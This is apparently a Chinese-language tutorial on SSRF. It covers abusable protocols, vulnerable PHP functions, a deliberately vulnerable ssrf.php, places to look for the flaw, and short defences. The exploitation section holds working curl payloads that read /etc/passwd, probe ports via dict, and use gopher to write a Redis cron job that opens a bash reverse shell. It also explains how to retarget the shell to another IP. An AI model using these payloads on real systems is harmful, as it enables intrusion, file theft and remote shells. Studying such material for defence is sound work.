什么是 SSRF ?
簡(jiǎn)介:SSRF(Server-Side Request Forgery)服務(wù)端請(qǐng)求偽造,是一種由攻擊者構(gòu)造形成由服務(wù)器端發(fā)起請(qǐng)求的一個(gè)漏洞,一般情況下,SSRF 攻擊的目標(biāo)是從外網(wǎng)無法訪問的內(nèi)部系統(tǒng)。
SSRF危害即可以實(shí)現(xiàn)的攻擊行為
- 主機(jī)本地敏感信息讀取, 對(duì)外網(wǎng)、服務(wù)器所在內(nèi)網(wǎng)、本地進(jìn)行端口掃描,獲取一些服務(wù)的
Banner信息 - 攻擊運(yùn)行在內(nèi)外網(wǎng)主機(jī)的應(yīng)用程序
- 通過訪問默認(rèn)文件對(duì)內(nèi)網(wǎng)
Web應(yīng)用進(jìn)行指紋識(shí)別 - 攻擊內(nèi)外網(wǎng)的
Web應(yīng)用,主要是使用GET參數(shù)就可以實(shí)現(xiàn)的攻擊 - 利用
file協(xié)議讀取本地文件
可進(jìn)行利用的協(xié)議
FILE 讀取服務(wù)器上任意文件內(nèi)容
IMAP/IMAPS/POP3SMTP/SMTPS 爆破郵件用戶名密碼
FTP/FTPS FTP匿名訪問、爆破
DICT 操作內(nèi)網(wǎng)Redis等服務(wù)
GOPHER 能夠?qū)⑺胁僮鬓D(zhuǎn)成數(shù)據(jù)流,并將數(shù)據(jù)流一次發(fā)出去,可以用來探測(cè)內(nèi)網(wǎng)的所有服務(wù)的所有漏洞
TFTP UDP協(xié)議擴(kuò)展
使用curl -V命令可以查看Ubuntu 16.04版本下默認(rèn)的libcurl支持的協(xié)議
PHP中容易造成漏洞的函數(shù)
curl_exec()
file_get_contents()
fsockopen()
漏洞利用
- 本地利用
利用方式
- 利用file協(xié)議查看文件
curl -v 'file:///etc/passwd'
- 利用dict探測(cè)端口
curl -v 'dict://127.0.0.1:22'
curl -v 'dict://127.0.0.1:6379/info'
- 利用gopher協(xié)議反彈shell
curl -v 'gopher://靶機(jī)ip:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$58%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/1234 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'
更換IP和端口時(shí),命令中的$58也要更改,$58表示字符串長(zhǎng)度為58個(gè)字節(jié),上面的EXP即是%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/1234 0>&1%0a%0a%0a%0a,3+51+4=58。如果想換成42.256.24.73,那么$58需要改成$61,以此類推。
注:Windows下使用curl命令需要把單引號(hào)換成雙引號(hào)
- 遠(yuǎn)程利用
例 1
ssrf.php (未做任何ssrf防御)
<?php
function curl($url){
// 創(chuàng)建一個(gè)新cURL資源
$ch = curl_init();
// 設(shè)置URL和相應(yīng)的選項(xiàng)
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
// 抓取URL并把它傳遞給瀏覽器
curl_exec($ch);
// 關(guān)閉cURL資源,并且釋放系統(tǒng)資源
curl_close($ch);
}
$url = $_GET['url'];
curl($url);
?>
$GET_['url']可控,從而可以發(fā)送任意請(qǐng)求站點(diǎn),構(gòu)成ssrf漏洞
利用方式
# 利用file協(xié)議任意文件讀取
curl -v 'http://sec.com:8082/sec/ssrf.php?url=file:///etc/passwd'
# 利用dict協(xié)議查看端口
curl -v 'http://sec.com:8082/sec/ssrf.php?url=dict://127.0.0.1:22'
# 利用gopher協(xié)議反彈shell
curl -v 'http://sec.com:8082/sec/ssrf.php?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2A1%250d%250a%244%250d%250aquit%250d%250a'
例 2
ssrf2.php
限制協(xié)議為HTTP、HTTPS
設(shè)置跳轉(zhuǎn)重定向?yàn)門rue(默認(rèn)不跳轉(zhuǎn))
<?php
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, True);
// 限制為HTTPS、HTTP協(xié)議
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
$url = $_GET['url'];
curl($url);
?>
此時(shí)使用dict協(xié)議已經(jīng)不成功,可以利用302跳轉(zhuǎn)的方式來繞過http協(xié)議限制
漏洞尋找
分享功能,通過 URL 地址分享網(wǎng)頁內(nèi)容
早期分享應(yīng)用中,為了更好的提供用戶體驗(yàn),WEB應(yīng)用在分享功能中,通常會(huì)獲取目標(biāo)URL地址網(wǎng)頁內(nèi)容中的<tilte></title>標(biāo)簽或者<meta name="description" content=“”/>標(biāo)簽中content的文本內(nèi)容作為顯示以提供更好的用戶體驗(yàn)
轉(zhuǎn)碼服務(wù):通過URL地址把原地址的網(wǎng)頁內(nèi)容調(diào)優(yōu)使其適合手機(jī)屏幕瀏覽
由于手機(jī)屏幕大小的關(guān)系,直接瀏覽網(wǎng)頁內(nèi)容的時(shí)候會(huì)造成許多不便,因此有些公司提供了轉(zhuǎn)碼功能,把網(wǎng)頁內(nèi)容通過相關(guān)手段轉(zhuǎn)為適合手機(jī)屏幕瀏覽的樣式。例如百度、騰訊、搜狗等公司都有提供在線轉(zhuǎn)碼服務(wù)
在線翻譯:通過URL地址翻譯對(duì)應(yīng)文本的內(nèi)容。
提供此功能的國(guó)內(nèi)公司有百度、有道等
圖片加載與下載:通過URL地址加載或下載圖片
圖片加載遠(yuǎn)程圖片地址此功能用到的地方很多,但大多都是比較隱秘,比如在有些公司中的加載自家圖片服務(wù)器上的圖片用于展示。(開發(fā)者為了有更好的用戶體驗(yàn)通常對(duì)圖片做些微小調(diào)整例如加水印、壓縮等,所以就可能造成SSRF問題)
圖片、文章收藏功能
此處的圖片、文章收藏中的文章收藏就類似于功能一、分享功能中獲取URL地址中title以及文本的內(nèi)容作為顯示,目的還是為了更好的用戶體驗(yàn),而圖片收藏就類似于功能四、圖片加載
從URL關(guān)鍵字中尋找
share,url,link,src,source,target,sourceURl,imageURL,domain...
未公開的api實(shí)現(xiàn)以及其他調(diào)用URL的功能
此處類似的功能有360提供的網(wǎng)站評(píng)分,以及有些網(wǎng)站通過api獲取遠(yuǎn)程地址xml文件來加載內(nèi)容。
其他
數(shù)據(jù)庫(kù)內(nèi)置功能,比如mongodb的copyDatabase函數(shù)
接收郵件服務(wù)器地址的郵件系統(tǒng)
漏洞防護(hù)
- 限制協(xié)議為HTTP、HTTPS
- 限制302跳轉(zhuǎn)次數(shù)
- 統(tǒng)一錯(cuò)誤信息
- 限制內(nèi)網(wǎng)IP
參考鏈接:
https://joychou.org/web/phpssrf.html
http://www.mottoin.com/tech/115007.html
https://feei.cn/ssrf
http://www.itdecent.cn/p/24ca56a2f5f5